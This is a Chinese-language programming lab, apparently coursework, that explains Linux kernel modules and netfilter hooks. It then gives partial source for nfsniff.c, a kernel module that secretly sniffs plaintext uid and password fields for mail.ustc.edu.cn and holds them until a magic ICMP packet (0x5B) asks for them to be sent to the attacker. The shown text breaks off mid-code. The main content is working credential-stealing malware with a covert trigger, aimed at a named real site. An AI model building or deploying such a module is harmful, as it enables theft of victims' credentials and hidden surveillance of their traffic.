一:要求:
编写一个基于netfilter的模块,该模块的功能是捕获如mail.ustc.edu.cn等使用明文传输用户名和密码的网站的用户名和密码;并在接收到特定的ICMP数据包之后将捕获的用户名和密码发给攻击者。
二:背景介绍
1.LKM:Loadable Kernel Module是可加载内核模块,通过 Linux 内核模块(LKM)可以在运行时动态地更改 Linux,可动态更改 是指可以将新的功能加载到内核、从内核去除某个功能,甚至添加使用他 LKM 的新 LKM。
LKM版hello world:
内核模块必须有至少两个函数,init_module()和cleanup_module(),分别表示起始和结束(也可以使用宏定义,module_init或module_exit指定函数担任起始和结束函数,并不一定是这两个函数名)。每一个内核模块都必须包括linux/module.h。
/* * hello-1.c - The simplest kernel module. */ #include <linux/module.h> /* Needed by all modules */ #include <linux/kernel.h> /* Needed for KERN_INFO */ int init_module(void) { printk(KERN_INFO "Hello world 1. "); /* * A non 0 return means init_module failed; module can't be loaded. */ return 0; } void cleanup_module(void) { printk(KERN_INFO "Goodbye world 1. "); }
编译内核模块的makefile如下:
obj-m += hello-1.o
all: make -C /lib/modules/$(shell uname -r)/build M=$(PWD) modules
clean: make -C /lib/modules/$(shell uname -r)/build M=$(PWD) clean
内核模块编译成功之后会产生.ko文件,使用insmod命令可以将该内核模块加载到内核,使用rmmod命令可以将内核模块卸载。
对于本例,可以在insmod 和rmmod之后,使用dmesg | tail 命令查看这个hello world程序在内核中的输出。
2.Netfilter是从Linux 2.4开始内核的一个子系统,架构就是在整个网络流程的若干位置放置了一些检测点(HOOK),而在每个检测点上登记了一些处理函数进行处理(如包过滤,NAT等,甚至可以是 用户自定义的功能)。
IP层的五个HOOK点的位置如下所示
[1]:NF_IP_PRE_ROUTING:刚刚进入网络层的数据包通过此点(刚刚进行完版本号,校验和等检测), 目的地址转换在此点进行;
[2]:NF_IP_LOCAL_IN:经路由查找后,送往本机的通过此检查点,INPUT包过滤在此点进行;
[3]:NF_IP_FORWARD:要转发的包通过此检测点,FORWORD包过滤在此点进行;
[4]:NF_IP_POST_ROUTING:所有马上便要通过网络设备出去的包通过此检测点,内置的源地址转换功能(包括地址伪装)在此点进行;
[5]:NF_IP_LOCAL_OUT:本机进程发出的包通过此检测点,OUTPUT包过滤在此点进行。
三:主要功能
本次编程实验的目的是为了练习LKM编程和更进一步深入了解iptables和netfilter。程序的主要功能在在受害者电脑上安装一个kernel module,此模块的功能是暗中记载受害者的mail.ustc.edu.cn(或任何一个使用明文传输用户名和密码的网站)的用户名或密码,并且在接收到攻击者发送过来的特殊数据包,本例中是一个特殊的ICMP数据包之后,将受害者该网站的用户名和密码发送给攻击者。
四:代码
1.编写内核程序nfsniff.c
#include <linux/module.h> #include <linux/kernel.h> #include <linux/skbuff.h> #include <linux/in.h> #include <linux/ip.h> #include <linux/tcp.h> #include <linux/icmp.h> #include <linux/netdevice.h> #include <linux/netfilter.h> #include <linux/netfilter_ipv4.h> #include <linux/if_arp.h> #include <linux/if_ether.h> #include <linux/if_packet.h> #define MAGIC_CODE 0x5B #define REPLY_SIZE 36 MODULE_LICENSE("GPL"); #define ICMP_PAYLOAD_SIZE (htons(ip_hdr(sb)->tot_len) - sizeof(struct iphdr) - sizeof(struct icmphdr)) /* THESE values are used to keep the USERname and PASSword until * they are queried. Only one USER/PASS pair will be held at one * time and will be cleared once queried. */ static char *username = NULL; static char *password = NULL; static int have_pair = 0; /* Marks if we already have a pair */ /* Tracking information. Only log USER and PASS commands that go to the * same IP address and TCP port. */ static unsigned int target_ip = 0; static unsigned short target_port = 0; /* Used to describe our Netfilter hooks */ struct nf_hook_ops pre_hook; /* Incoming */ struct nf_hook_ops post_hook; /* Outgoing */ //sk_buff socket buffer)结构是linux网络代码中重要的数据结构,它管理和控制接收或发送数据包的信息。 /* Function that looks at an sk_buff that is known to be an FTP packet. * Looks for the USER and PASS fields and makes sure they both come from * the one host as indicated in the target_xxx fields */ static void check_http(struct sk_buff *skb) { struct tcphdr *tcp; char *data; char *name; char *passwd; char *_and; char *check_connection; int len,i; tcp = tcp_hdr(skb); data = (char *)((unsigned long)tcp + (unsigned long)(tcp->doff * 4)); if (strstr(data,"Connection") != NULL && strstr(data, "uid") != NULL && strstr(data, "password") != NULL) { check_connection = strstr(data,"Connection"); name = strstr(check_connection,"uid="); _and = strstr(name,"&"); name += 4; len = _and - name; //kmalloc:分配内核空间的内存,kmalloc保证分配的内存在物理空间是连续的,vmalloc保证虚拟地址空间的连续 //len+2:要分配内存的大小,GFP_KERNEL:要分配内存的类型 if ((username = kmalloc(len + 2, GFP_KERNEL)) == NULL) return; memset(username, 0x00, len + 2); for (i = 0; i < len; ++i) { *(username + i) = name[i]; } *(username + len) = '